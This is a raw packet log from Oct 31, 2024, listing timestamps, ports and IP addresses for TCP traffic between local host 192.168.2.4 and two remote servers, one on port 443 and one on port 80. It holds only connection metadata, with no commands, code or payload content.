Oct 31, 2024 03:03:07.545094967 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.545171976 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:07.545187950 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:07.545222044 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.090090990 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.090354919 CET	443	49736	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.090394974 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.090414047 CET	49736	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.131055117 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.131155968 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.131241083 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.131531000 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.131582022 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.751362085 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.751480103 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.754992962 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.755026102 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.755712986 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:25.764043093 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.764081955 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:25.764180899 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:26.080025911 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:26.080252886 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:26.080333948 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:26.080395937 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:26.080396891 CET	49743	443	192.168.2.4	188.114.97.3
Oct 31, 2024 03:03:26.080437899 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:26.080462933 CET	443	49743	188.114.97.3	192.168.2.4
Oct 31, 2024 03:03:26.081336021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.086163998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.086253881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.086338997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.091154099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999042034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999063969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999084949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999098063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999109983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999113083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.999124050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999130964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999138117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.999138117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999151945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999166965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:26.999171019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:26.999211073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.007405043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.007431030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.007441044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.007474899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.057624102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.154841900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.154920101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.154975891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.154980898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.155013084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155071020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.155073881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155123949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155158997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155170918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.155841112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155874968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155895948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.155910969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.155961990 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.156877995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.156910896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.156945944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.156966925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.198138952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.274257898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274316072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274352074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274388075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274422884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274473906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274488926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.274488926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.274509907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274525881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.274563074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274596930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274610996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.274631977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.274677038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.275260925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.275294065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.275346041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.392904997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.392957926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.392992973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393022060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.393024921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393063068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393073082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.393233061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393281937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.393378973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393452883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393486023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393510103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.393520117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.393570900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.394023895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.394057035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.394093037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.394115925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.394129038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.394181967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.511806011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.511843920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.511878967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.511902094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.511913061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.511948109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.511962891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.511981010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512022972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.512336969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512373924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512414932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512430906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.512681007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512732029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.512738943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512789965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512823105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.512841940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.513349056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.513379097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.513401031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.552778006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.552813053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.552839041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.552846909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.552891970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.630676031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630708933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630758047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.630784035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630835056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630868912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630888939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.630922079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630956888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.630989075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.631521940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631556034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631578922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.631589890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631639004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.631884098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631916046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631948948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.631994963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.671564102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.671617031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.671626091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.671653986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.671690941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.671710014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.713735104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.749368906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749396086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749430895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749468088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.749519110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749535084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749562979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.749811888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749862909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.749901056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749937057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.749979973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.750228882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.750283003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.750315905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.750328064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.750368118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.750403881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.750416040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.790410995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.790466070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.790483952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.790501118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.790546894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.790550947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.790594101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.790642977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.868391991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868438005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868473053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868489027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.868508101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868554115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.868689060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868722916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868755102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.868766069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.869050980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869085073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869096994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.869118929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869162083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.869405031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869438887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869471073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.869481087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.909158945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909190893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909216881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.909250021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909285069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909296036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.909320116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909353971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.909367085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.963774920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.987339020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987493992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987528086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987552881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.987561941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987596035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987616062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.987632990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987689018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.987735987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987766027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987812042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.987917900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987953901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.987988949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.988004923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:27.988291979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.988318920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:27.988343954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.028202057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028239965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028273106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028287888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.028306961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028326988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.028379917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028429985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028434992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.028760910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028789997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.028815985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.073116064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.106372118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106410027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106443882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106477022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106489897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.106513977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106528997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.106586933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106643915 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.106668949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106700897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.106750011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.106755018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.107206106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.107239962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.107264042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.107273102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.107331038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.147084951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147121906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147156000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147180080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.147229910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147264957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147286892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.147334099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147371054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147399902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.147404909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.147460938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225065947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225097895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225152969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225169897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225187063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225222111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225238085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225275993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225315094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225646019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225697994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225747108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225863934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225898981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225933075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.225946903 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.225969076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.226016045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.266328096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266365051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266401052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266424894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.266436100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266469955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266493082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.266717911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266769886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.266771078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266804934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.266850948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.309608936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.309654951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.309719086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.343955994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.343967915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.343986988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344000101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344012976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344024897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344039917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.344080925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.344521046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344578028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344624043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.344702005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344743013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344753027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.344825983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.345155001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.345165968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.345179081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.345204115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.345227957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:28.386270046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386456013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386466980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386477947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:28.386493921 CET	80	49744	185.215.113.16	192.168.2.4
